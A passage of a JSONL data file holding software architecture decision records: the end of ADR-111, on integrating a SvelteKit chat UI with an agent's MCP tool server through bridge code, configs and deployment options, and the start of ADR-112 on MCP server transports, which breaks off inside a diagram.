\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 RuVector Native Backends \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502 \u2502\n\u2502 \u2502 \u2502 Filesystem \u2502 \u2502 Sandbox \u2502 \u2502 RVF \u2502 \u2502 HNSW \u2502 \u2502 \u2502\n\u2502 \u2502 \u2502 Backend \u2502 \u2502 Backend \u2502 \u2502 Runtime \u2502 \u2502 Memory \u2502 \u2502 \u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n```\n\n---\n\n## Integration Points\n\n### 1. Repository Structure\n\nFork ruvocal into the RuVector monorepo:\n\n```\nruvector/\n\u251c\u2500\u2500 crates/\n\u2502 \u2514\u2500\u2500 rvAgent/ # Existing\n\u251c\u2500\u2500 ui/\n\u2502 \u2514\u2500\u2500 ruvocal/ # NEW - Forked from ruflo\n\u2502 \u251c\u2500\u2500 src/\n\u2502 \u2502 \u251c\u2500\u2500 lib/\n\u2502 \u2502 \u2502 \u251c\u2500\u2500 components/ # Chat UI components\n\u2502 \u2502 \u2502 \u251c\u2500\u2500 stores/ # Svelte state stores\n\u2502 \u2502 \u2502 \u251c\u2500\u2500 server/ # Server-side API handlers\n\u2502 \u2502 \u2502 \u2514\u2500\u2500 utils/ # Utilities\n\u2502 \u2502 \u2514\u2500\u2500 routes/ # SvelteKit pages\n\u2502 \u251c\u2500\u2500 mcp-bridge/ # MCP stdio kernel\n\u2502 \u251c\u2500\u2500 static/ # Assets (rebrand to RuVector)\n\u2502 \u251c\u2500\u2500 .env.example # Configuration template\n\u2502 \u251c\u2500\u2500 Dockerfile # Container build\n\u2502 \u2514\u2500\u2500 package.json\n\u2514\u2500\u2500 docs/adr/\n \u2514\u2500\u2500 ADR-111-... # This document\n```\n\n### 2. MCP Bridge Configuration\n\nAdapt the existing mcp-bridge to connect to rvAgent:\n\n```javascript\n// ui/ruvocal/mcp-bridge/rvagent-kernel.js\n\nimport { spawn } from 'child_process';\nimport { McpClient } from '@modelcontextprotocol/sdk';\n\nexport class RvAgentKernel {\n constructor(config) {\n this.config = {\n // rvAgent MCP server binary or via cargo\n command: config.command || 'cargo',\n args: config.args || ['run', '-p', 'rvagent-mcp', '--', 'stdio'],\n cwd: config.cwd || process.env.RVAGENT_PATH,\n ...config\n };\n }\n\n async connect() {\n // Spawn rvAgent MCP server in stdio mode\n this.process = spawn(this.config.command, this.config.args, {\n cwd: this.config.cwd,\n stdio: ['pipe', 'pipe', 'inherit']\n });\n\n this.client = new McpClient();\n await this.client.connect(this.process.stdin, this.process.stdout);\n\n // List available tools from rvAgent\n const tools = await this.client.listTools();\n console.log(`Connected to rvAgent with ${tools.length} tools`);\n\n return tools;\n }\n\n async executeTool(name, args) {\n return await this.client.executeTool(name, args);\n }\n\n async shutdown() {\n await this.client.close();\n this.process.kill();\n }\n}\n```\n\n### 3. APIClient Adaptation\n\nModify Ruvocal's APIClient to route tool calls through rvAgent:\n\n```typescript\n// ui/ruvocal/src/lib/APIClient.ts\n\nimport type { RvAgentKernel } from '../mcp-bridge/rvagent-kernel';\n\nexport class RvAgentAPIClient {\n private kernel: RvAgentKernel;\n private baseUrl: string;\n\n constructor(config: {\n openaiBaseUrl: string;\n rvagentKernel: RvAgentKernel;\n }) {\n this.baseUrl = config.openaiBaseUrl;\n this.kernel = config.rvagentKernel;\n }\n\n // Chat completion with tool calling\n async chat(messages: Message[], options: ChatOptions): Promise<AsyncIterable<StreamChunk>> {\n const response = await fetch(`${this.baseUrl}/chat/completions`, {\n method: 'POST',\n headers: {\n 'Content-Type': 'application/json',\n 'Authorization': `Bearer ${options.apiKey}`\n },\n body: JSON.stringify({\n model: options.model,\n messages,\n tools: await this.getAvailableTools(),\n stream: true\n })\n });\n\n return this.processStream(response);\n }\n\n // Get tools from rvAgent MCP server\n async getAvailableTools(): Promise<Tool[]> {\n const mcpTools = await this.kernel.client.listTools();\n\n // Convert MCP tool format to OpenAI function format\n return mcpTools.map(tool => ({\n type: 'function',\n function: {\n name: tool.name,\n description: tool.description,\n parameters: tool.inputSchema\n }\n }));\n }\n\n // Execute tool calls via rvAgent\n async executeToolCall(toolCall: ToolCall): Promise<ToolResult> {\n const result = await this.kernel.executeTool(\n toolCall.function.name,\n JSON.parse(toolCall.function.arguments)\n );\n\n return {\n tool_call_id: toolCall.id,\n role: 'tool',\n content: JSON.stringify(result)\n };\n }\n}\n```\n\n### 4. Environment Configuration\n\n```bash\n# ui/ruvocal/.env.example\n\n# LLM Provider (OpenAI-compatible API)\nOPENAI_BASE_URL=http://localhost:8080/v1\nOPENAI_API_KEY=sk-rvector-local\n\n# rvAgent MCP Server\nRVAGENT_PATH=/path/to/ruvector/crates/rvAgent\nRVAGENT_MCP_MODE=stdio\nRVAGENT_WITNESS_ENABLED=true\n\n# Database (conversation history)\nMONGODB_URL=mongodb://localhost:27017/ruvocal\n# Or use embedded mode for development:\n# MONGODB_DB_PATH=./db\n\n# Theming\nPUBLIC_APP_NAME=RuVector Agent\nPUBLIC_APP_ASSETS=ruvector\nPUBLIC_APP_DESCRIPTION=Intelligent AI Agent with RuVector\n\n# Feature Flags\nENABLE_MCP_TOOLS=true\nENABLE_LLM_ROUTER=false\nENABLE_WITNESS_UI=true\n```\n\n### 5. Svelte Store Integration\n\nCreate a store for rvAgent state:\n\n```typescript\n// ui/ruvocal/src/lib/stores/rvagent.ts\n\nimport { writable, derived } from 'svelte/store';\nimport type { WitnessEntry, AgentState } from '$lib/types/rvagent';\n\n// Witness chain visualization\nexport const witnessChain = writable<WitnessEntry[]>([]);\n\n// Agent execution state\nexport const agentState = writable<AgentState>({\n status: 'idle',\n currentTool: null,\n progress: 0\n});\n\n// Available tools from rvAgent\nexport const availableTools = writable<Tool[]>([]);\n\n// Derived: active tool calls in current conversation\nexport const activeToolCalls = derived(\n witnessChain,\n $chain => $chain.filter(entry => entry.status === 'executing')\n);\n\n// Actions\nexport function addWitnessEntry(entry: WitnessEntry) {\n witnessChain.update(chain => [...chain, entry]);\n}\n\nexport function updateAgentStatus(status: AgentState['status'], tool?: string) {\n agentState.update(state => ({\n ...state,\n status,\n currentTool: tool || null\n }));\n}\n```\n\n### 6. Witness Chain UI Component\n\nAdd a component to visualize rvAgent's witness chain:\n\n```svelte\n<!-- ui/ruvocal/src/lib/components/WitnessChain.svelte -->\n\n<script lang=\"ts\">\n import { witnessChain, agentState } from '$lib/stores/rvagent';\n import { slide } from 'svelte/transition';\n\n export let expanded = false;\n</script>\n\n<div class=\"witness-panel\" class:expanded>\n <button\n class=\"toggle-btn\"\n on:click={() => expanded = !expanded}\n aria-label=\"Toggle witness chain\"\n >\n <span class=\"icon\">\ud83d\udd17</span>\n <span class=\"count\">{$witnessChain.length}</span>\n </button>\n\n {#if expanded}\n <div class=\"witness-list\" transition:slide>\n {#each $witnessChain as entry, i (entry.id)}\n <div class=\"witness-entry\" class:executing={entry.status === 'executing'}>\n <span class=\"index\">#{i + 1}</span>\n <span class=\"tool-name\">{entry.toolName}</span>\n <span class=\"hash\" title={entry.hash}>\n {entry.hash.slice(0, 8)}...\n </span>\n <span class=\"status {entry.status}\">\n {entry.status === 'completed' ? '\u2713' : entry.status === 'executing' ? '\u23f3' : '\u2717'}\n </span>\n </div>\n {/each}\n </div>\n {/if}\n</div>\n\n<style>\n .witness-panel {\n position: fixed;\n bottom: 1rem;\n right: 1rem;\n background: var(--bg-secondary);\n border-radius: 0.5rem;\n box-shadow: 0 2px 8px rgba(0, 0, 0, 0.2);\n z-index: 1000;\n }\n\n .witness-entry {\n display: flex;\n gap: 0.5rem;\n padding: 0.5rem;\n border-bottom: 1px solid var(--border-color);\n font-family: monospace;\n font-size: 0.75rem;\n }\n\n .witness-entry.executing {\n background: var(--accent-bg);\n animation: pulse 1s infinite;\n }\n\n .status.completed { color: var(--success); }\n .status.failed { color: var(--error); }\n\n @keyframes pulse {\n 0%, 100% { opacity: 1; }\n 50% { opacity: 0.7; }\n }\n</style>\n```\n\n---\n\n## Tool Categories in UI\n\nOrganize rvAgent tools into user-friendly categories:\n\n| Category | Tools | UI Representation |\n|----------|-------|-------------------|\n| **Files** | read_file, write_file, list_directory | File explorer panel |\n| **Code** | search_code, edit_file, run_tests | Code editor integration |\n| **Shell** | execute_command, bash | Terminal panel |\n| **Memory** | semantic_search, store_memory | Knowledge sidebar |\n| **Web** | web_fetch, web_search | Browser preview |\n| **Git** | git_status, git_commit, git_diff | Version control panel |\n\n---\n\n## Deployment Options\n\n### Option 1: Development (Local)\n\n```bash\ncd ui/ruvocal\nnpm install\nnpm run dev -- --open\n\n# In another terminal\ncd crates/rvAgent\ncargo run -p rvagent-mcp -- stdio\n```\n\n### Option 2: Docker Compose\n\n```yaml\n# docker-compose.yml\nversion: '3.8'\n\nservices:\n ruvocal:\n build:\n context: ./ui/ruvocal\n dockerfile: Dockerfile\n ports:\n - \"3000:3000\"\n environment:\n - RVAGENT_MCP_MODE=socket\n - RVAGENT_HOST=rvagent\n - RVAGENT_PORT=9000\n depends_on:\n - rvagent\n - mongodb\n\n rvagent:\n build:\n context: .\n dockerfile: crates/rvAgent/Dockerfile\n command: [\"rvagent-mcp\", \"socket\", \"--port\", \"9000\"]\n volumes:\n - ./workspace:/workspace\n\n mongodb:\n image: mongo:7\n volumes:\n - mongodb_data:/data/db\n\nvolumes:\n mongodb_data:\n```\n\n### Option 3: Cloud Run (Production)\n\n```yaml\n# cloudbuild.yaml\nsteps:\n # Build rvAgent MCP server\n - name: 'gcr.io/cloud-builders/docker'\n args: ['build', '-t', 'gcr.io/$PROJECT_ID/rvagent-mcp', '-f', 'crates/rvAgent/Dockerfile', '.']\n\n # Build Ruvocal UI\n - name: 'gcr.io/cloud-builders/docker'\n args: ['build', '-t', 'gcr.io/$PROJECT_ID/ruvocal-ui', '-f', 'ui/ruvocal/Dockerfile', '.']\n\n # Deploy\n - name: 'gcr.io/google.com/cloudsdktool/cloud-sdk'\n entrypoint: 'gcloud'\n args: ['run', 'deploy', 'ruvocal', '--image', 'gcr.io/$PROJECT_ID/ruvocal-ui', '--region', 'us-central1']\n```\n\n---\n\n## Rebranding Checklist\n\n| Item | Location | Change |\n|------|----------|--------|\n| App Name | `.env` | `PUBLIC_APP_NAME=RuVector Agent` |\n| Logo | `static/logo.svg` | RuVector logo |\n| Favicon | `static/favicon.ico` | RuVector icon |\n| Colors | `tailwind.config.cjs` | RuVector palette |\n| Footer | `src/routes/+layout.svelte` | RuVector attribution |\n| Title | `src/app.html` | `<title>RuVector Agent` |\n| Manifest | `static/manifest.json` | PWA metadata |\n\n---\n\n## Security Considerations\n\n### Tool Execution Sandboxing\n\nAll tool execution goes through rvAgent's sandbox backend (ADR-103 C5):\n\n```rust\n// rvAgent enforces sandbox policy\npub struct SandboxPolicy {\n allowed_paths: Vec,\n denied_commands: Vec,\n max_execution_time: Duration,\n memory_limit: usize,\n}\n```\n\n### Authentication Flow\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 User \u2502\u2500\u2500\u2500\u2500\u25b6\u2502 Ruvocal \u2502\u2500\u2500\u2500\u2500\u25b6\u2502 Auth \u2502\u2500\u2500\u2500\u2500\u25b6\u2502 rvAgent \u2502\n\u2502 Browser \u2502 \u2502 UI \u2502 \u2502 Service \u2502 \u2502 MCP \u2502\n\u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\n \u2502 \u2502 \u2502 \u2502\n \u2502 1. Login \u2502 \u2502 \u2502\n \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502 \u2502 \u2502\n \u2502 \u2502 2. Verify \u2502 \u2502\n \u2502 \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502 \u2502\n \u2502 \u2502 3. JWT token \u2502 \u2502\n \u2502 \u2502\u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2502 \u2502\n \u2502 4. Session \u2502 \u2502 \u2502\n \u2502\u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2502 \u2502 \u2502\n \u2502 \u2502 5. Tool call + JWT \u2502\n \u2502 \u2502\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u25b6\u2502\n \u2502 \u2502 6. Verify & execute \u2502\n \u2502 \u2502\u25c0\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2502\n```\n\n### Input Validation\n\nRuvocal uses rvAgent's SubAgentResultValidator (ADR-103 C8) for all responses:\n\n- Response length limits\n- Injection pattern detection\n- Control character stripping\n- Prototype pollution prevention\n\n---\n\n## Implementation Phases\n\n### Phase 1: Fork & Setup (Week 1) \u2705 COMPLETE\n\n- [x] Fork ruvocal to `ui/ruvocal/`\n- [x] Remove HuggingFace-specific code\n- [x] Update dependencies\n- [x] Configure MCP connection (via \u03c0.ruv.io brain server)\n- [x] Basic chat flow working\n\n### Phase 2: Integration (Week 2) \ud83d\udd04 IN PROGRESS\n\n- [x] MCP bridge to \u03c0 brain server (alternative to direct rvAgent)\n- [x] Connect APIClient to \u03c0 Brain tools (91 MCP tools available)\n- [ ] Add witness chain visualization (NOT STARTED)\n- [x] Tool category organization (mcpExamples updated)\n- [x] Error handling + recovery (evidence_links transform, witness_hash fallback)\n\n### Phase 3: Polish (Week 3) \ud83d\udd04 IN PROGRESS\n\n- [x] Rebranding (logos, colors, text) - Gold #e8a634, Dark #020205\n- [x] Dark mode default (app.html, switchTheme.ts)\n- [x] Foundation-inspired animated background (FoundationBackground.svelte)\n- [x] Thinking block collapse (THINK_BLOCK_REGEX added)\n- [ ] Mobile responsiveness testing (NOT STARTED)\n- [ ] Accessibility audit (NOT STARTED)\n- [ ] Performance optimization (NOT STARTED)\n\n### Phase 4: Production (Week 4) \u23f3 PENDING\n\n- [ ] Docker images\n- [ ] Cloud Run deployment (\u03c0.ruv.io deployed, UI needs separate deploy)\n- [ ] CI/CD pipeline\n- [ ] Documentation\n- [ ] User guide\n\n---\n\n## Current Implementation Status\n\n| Component | Status | Location | Notes |\n|-----------|--------|----------|-------|\n| RuVocal UI Fork | \u2705 Complete | `ui/ruvocal/` | SvelteKit 2 + Svelte 5 |\n| MCP Bridge | \u2705 Working | \u03c0.ruv.io | 91 tools via brain server |\n| Dark Mode | \u2705 Complete | `app.html`, `switchTheme.ts` | Default theme |\n| Foundation Background | \u2705 Complete | `FoundationBackground.svelte` | Canvas particle animation |\n| Thinking Collapse | \u2705 Complete | `ChatMessage.svelte` | THINK_BLOCK_REGEX |\n| Gold Color Scheme | \u2705 Complete | Tailwind config | #e8a634 primary |\n| Query Suggestions | \u2705 Complete | `mcpExamples.ts` | \u03c0 Brain focused |\n| brain_page_delta | \u2705 Fixed | `routes.rs` | evidence_links transform |\n| Witness Chain UI | \u274c Missing | - | Not implemented |\n| Direct rvAgent MCP | \u274c Missing | - | Uses \u03c0 brain instead |\n| rvAgent Kernel | \u274c Missing | - | Planned for Phase 2 |\n\n---\n\n## Consequences\n\n### Positive\n\n1. **Rapid Development**: Leveraging mature chat UI saves weeks of development\n2. **Feature-Rich**: Streaming, code highlighting, themes included\n3. **MCP Native**: Existing mcp-bridge reduces integration effort\n4. **Modern Stack**: SvelteKit provides excellent DX and performance\n5. **Witness Transparency**: Users can see tool execution chain\n\n### Negative\n\n1. **Maintenance Burden**: Must track upstream ruvocal changes\n2. **Node.js Dependency**: UI requires Node.js runtime\n3. **MongoDB Dependency**: Conversation persistence requires database\n\n### Mitigations\n\n- Pin to specific ruvocal version, selectively merge updates\n- Embed MongoDB option reduces ops burden\n- Consider future Rust-native UI (Dioxus, Leptos) for full-stack Rust\n\n---\n\n## Related ADRs\n\n| ADR | Relevance |\n|-----|-----------|\n| ADR-093 | DeepAgents Rust conversion overview |\n| ADR-104 | rvAgent MCP Skills & Topology |\n| ADR-105 | MCP Implementation Details |\n| ADR-106 | RuViX Kernel Integration |\n| ADR-108 | ruvbot Integration Architecture |\n| ADR-103 C5 | Sandbox Contract |\n| ADR-103 C8 | SubAgent Result Validation |\n\n---\n\n## References\n\n- [Ruvocal Source (ruflo)](https://github.com/ruvnet/ruflo/tree/main/ruflo/src/ruvocal)\n- [MCP Specification](https://spec.modelcontextprotocol.io/)\n- [SvelteKit Documentation](https://kit.svelte.dev/)\n- [rvAgent MCP Server](../crates/rvAgent/rvagent-mcp/)\n\n---\n\n## Appendix: Ruvocal Component Mapping\n\n| Ruvocal Component | Purpose | rvAgent Integration |\n|-------------------|---------|---------------------|\n| `lib/APIClient.ts` | LLM communication | Add rvAgent tool routing |\n| `lib/buildPrompt.ts` | Prompt construction | Include system prompt from rvAgent |\n| `lib/components/ChatMessage.svelte` | Message rendering | Add tool call visualization |\n| `lib/stores/` | State management | Add rvAgent state stores |\n| `routes/conversation/` | Chat pages | Integrate witness panel |\n| `mcp-bridge/` | Tool execution | Replace with rvAgent kernel |\n| `server/` | API handlers | Add rvAgent health endpoints |", "license": "mit", "quality_score": 1.0, "provenance": "docs/adr/ADR-111-ruvocal-ui-rvagent-integration.md", "created_at": "2026-03-28T11:58:49.944796+00:00", "content_hash": "432673934e0e5839a2fa76e92846d70d53fc9414e123120ba4bf8c4210acb782"} +{"id": "43597466-7202-498e-9bf7-4fd7b5b787c6", "source": "adr", "text": "# ADR-112: rvAgent MCP Server with SSE and stdio Transports\n\n| Field | Value |\n|-------------|------------------------------------------------|\n| **Status** | Implemented |\n| **Date** | 2026-03-15 |\n| **Authors** | ruvnet |\n| **Series** | ADR-093 (DeepAgents), ADR-108 (rvAgent-ruvbot), ADR-111 (RuVocal) |\n| **Related** | ADR-104 (MCP Skills), ADR-105 (MCP Implementation) |\n\n## Context\n\nThe rvAgent framework requires a standalone MCP server binary that:\n\n1. **Supports multiple transports**: stdio (for Claude Code) and SSE (for web clients)\n2. **Provides tool groups**: Organize 46+ tools into logical categories\n3. **Offers flexible filtering**: CLI args for selecting tool groups or all tools\n4. **Integrates with RuVocal**: Direct MCP connection for ADR-111\n\n### Current State\n\n- `rvagent-mcp` crate exists with:\n - \u2705 `StdioTransport` - Basic implementation\n - \u2705 `MemoryTransport` - Testing\n - \u2705 `McpServer` - Request handling\n - \u2705 `McpToolRegistry` - Tool registration\n - \u274c `SseTransport` - Missing\n - \u274c CLI binary - Missing\n - \u274c Tool groups - Missing\n\n### Requirements\n\n1. **SSE Transport**: HTTP Server-Sent Events for web clients\n2. **stdio Transport**: NDJSON over stdin/stdout for CLI integration\n3. **Tool Groups**: Categorize tools for selective exposure\n4. **CLI Arguments**: Transport selection, port, tool filtering\n5. **All Tools Option**: Expose entire registry without filtering\n\n---\n\n## Decision\n\nImplement a full-featured MCP server binary with:\n\n### 1. Transport Architecture\n\n```\n\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\n\u2502 rvagent-mcp binary \u2502\n\u251c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2524\n\u2502 \u2502\n\u2502 CLI Args: --transport --port 9000 --groups file,sh \u2502\n\u2502 \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\n\u2502 \u2502 StdioTransport \u2502 \u2502 SseTransport \u2502 \u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502\n\u2502 \u2502 stdin \u2500\u2500\u25b6 req \u2502 \u2502 HTTP POST \u2500\u2500\u25b6 \u2502 \u2502\n\u2502 \u2502 stdout \u25c0\u2500\u2500 res \u2502 \u2502 SSE stream \u25c0\u2500\u2500 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u2502 \u2502 \u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u252c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\n\u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 McpServer \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2022 initialize / ping \u2502\u2502\n\u2502 \u2502 \u2022 tools/list / tools/call \u2502\u2502\n\u2502 \u2502 \u2022 resources/list / resources/read \u2502\u2502\n\u2502 \u2502 \u2022 prompts/list / prompts/get \u2502\u2502\n\u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518\u2502\n\u2502 \u2502 \u2502\n\u2502 \u25bc \u2502\n\u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510\u2502\n\u2502 \u2502 McpToolRegistry (grouped) \u2502\u2502\n\u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2510 \u2502\u2502\n\u2502 \u2502 \u2502 file \u2502 \u2502 shell \u2502 \u2502 memory \u2502 \u2502 agent \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 group \u2502 \u2502 group \u2502 \u2502 group \u2502 \u2502 group \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 read \u2502 \u2502 execute \u2502 \u2502 search \u2502 \u2502 spawn \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 write \u2502 \u2502 bash \u2502 \u2502 store \u2502 \u2502 orchestrate \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 edit \u2502 \u2502 run \u2502 \u2502 retrieve \u2502 \u2502 status \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 ls \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 glob \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2502 grep \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502 \u2502\u2502\n\u2502 \u2502 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2514\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518 \u2502\u2502\n\u2502 